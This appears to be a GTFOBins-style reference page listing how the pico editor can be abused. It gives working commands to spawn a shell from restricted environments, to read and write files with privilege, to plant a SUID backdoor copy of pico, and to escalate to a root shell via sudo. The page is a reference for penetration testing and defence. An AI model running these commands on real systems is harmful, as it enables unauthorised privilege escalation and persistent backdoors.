.. / pico

Star

• Shell
• File write
• File read
• SUID
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• TF=$(mktemp)
  echo 'exec sh' > $TF
  chmod +x $TF
  pico -s $TF /etc/hosts
  ^T

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

• pico file_to_write
  DATA
  ^O

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• pico file_to_read

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which pico) .; chmod +s ./pico'
  
  TF=$(mktemp)
  echo 'exec sh -p' > $TF
  chmod +x $TF
  ./pico -s $TF /etc/hosts
  ^T

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• TF=$(mktemp)
  echo 'exec sh' > $TF
  chmod +x $TF
  sudo pico -s $TF /etc/hosts
  ^T